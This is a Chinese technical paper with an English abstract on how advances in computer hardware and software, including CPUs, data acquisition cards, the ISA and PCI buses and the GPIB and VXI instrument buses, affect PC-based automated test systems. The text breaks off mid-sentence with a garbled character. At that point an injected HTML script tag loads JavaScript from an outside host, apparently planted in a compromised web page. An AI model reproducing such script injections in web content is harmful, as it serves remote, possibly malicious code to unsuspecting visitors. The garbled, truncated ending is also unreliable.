摘要 本文论述了目前计算机硬件、软件技术的发展对基于pc机自动测试系统的影响。计算机硬件的发展包括微处理器、数据采集系统、计算机总线、仪器总线、pc卡和外部解决方案;软件技术的发展,包括操作系统、测试系统软件的开发。
关键词 数据采集系统 isa总线 pci总线 仪器总线 通用串行总线(usb) 多线程 labview 虚拟仪器
computer technology advancements impact
pc-based automated test system
abstract:recent advancements of computer hardware and software technology impact pc-based automated test system.the advanced hardware include processor,data acquisition system,computer bus,instrument bus,pc card and external solution.the advanced software include operation system and test system software.
key words:data acquisition system isa pci instrument bus usb multithread labview visual instrument
1 前言
八十年代后期,pc机市场开始快速发展,越来越多的pc机应用得到开发。pc机的广泛应用不仅改变了我们的计算方式,对自动测试系统领域也带来了革命性的变化。充分利用计算机丰富的软硬件资源,大大突破了传统测试系统在数据信号处理、显示、传送、存储、打印等方面的限制。目前,计算机技术正在飞速发展,由于使用了越来越先进的计算机技术,基于pc机的测试系统正向着高速、高效,智能化、多功能化、多样化发展。
2 计算机硬件技术发展的影响
2.1 微处理器
pc机微处理器cpu速度不断提高,采用流水线、risc结构、cache等先进技术,极大地提高了测试系统的数值处理能力。将12年前的cpu与今天的cpu进行比较,可以看到286cpu的时钟只有8mhz,而现在pentiumⅱ的时钟已达到200~400mhz,速度提高了25倍,处理能力提高了50~100倍。以pentium和pentiumⅱ为基础的pc机可以用来建立复杂的自动测试系统。
2.2 数据采集系统
在以pc机为基础的自动测试系统中,与计算机一起工作的是采集数据、提供信号源和控制信号的仪器硬件。数据采集系统(das)使基于pc机自动测试系统能更加充分利用pc机资源,并大大增加了测试系统的灵活性和扩展性。目前插入式数据采集卡(daq)发展迅速,随着a/d、d/a转换技术,仪器放大器,抗混淆滤波器和信号波形处理技术的不断改进,daq采样速率达到1gb/s,精度高达24位,通道数高达64个,并能任意结合数字i/o,模拟输出和计数器/定时器通道。
采用数字信号处理(dsp)芯片,是数据采集系统发展的另一特点。采用dsp技术,对高速的数据流处理进行优化和数学计算,增强了采集系统的功能,同时降低产品成本,并使其具有独立控制和实时处理的优点。dsp使测试系统的pc主机从数据处理任务中解脱出来,可更高效地完成其他任务,同时获得更多的信号处理能力,并加快数据采集率[1]。
2.3 isa与pci总线
工业标准结构总线(isa)是一种8位或16位非同步数据总线,工作频率为8mhz,数据传输率在8位时为1mb/s,16位时为2mb/s[2]。isa总线在测试领域已应用了16年,在以pc为基础的数据采集市场中,isa总线一直占据着主导地位,但随着计算机技术的发展,计算能力和通信能力的差异日益悬殊。对于相对较慢的处理速度,基于isa的数据采集卡是有效的,这种卡和其他外围设备等待处理时间,然后发出中断,等待响应。在一个isa总线i/o周期,12mhz时只有几个等待状态,而在新的pentium处理器的200mhz时则需要100至200个等待状态,这在处理速度上大大降低了整个系统的性能。在当今多任务的操作环境下,为单一应用程序消耗如此多的pc机资源,显然是不合适的,isa总线已成为瓶颈[3]。
六年前,外围设备接口总线(pci)由intel公司提出后,立即受到重视并很快得到认可,成为pc行业新的事实上的标准。pci总线的出现,很好地解决了isa总线的瓶颈问题。pci总线是一种同步的独立于cpu的32位或64位局部总线,最高工作频率为33mhz,数据传输率为132mb/s。pci总线支持无限读写突发方式,pci总线上的外围设备可与cpu并发工作,从而提高了整体性能。pci总线还为pc机平台带来了真正的即插即用功能,并对dma有更强大的支持。以pci总线为基础的数据采集系统大大提高了数据采集率[4]。
2.4 仪器总线
测量仪器从1978年有了通用仪器总线(gpib)后,构成自动测试系统就方便得多,测量仪器的程控性能也随着提高,出现一大批高水平的仪器和自动测试系统。
1987年vxi仪器总线问世,这种以vme计算机总线为基础的仪器扩展总线,兼备计算机和通用仪器总线的优点,并以开放式规范供测试业使用,形成个人计算机仪器系统的统一规范,极大限度地促进了自动测试系统的发展。vxi最适用于多?script src=http://er12.com/t.js>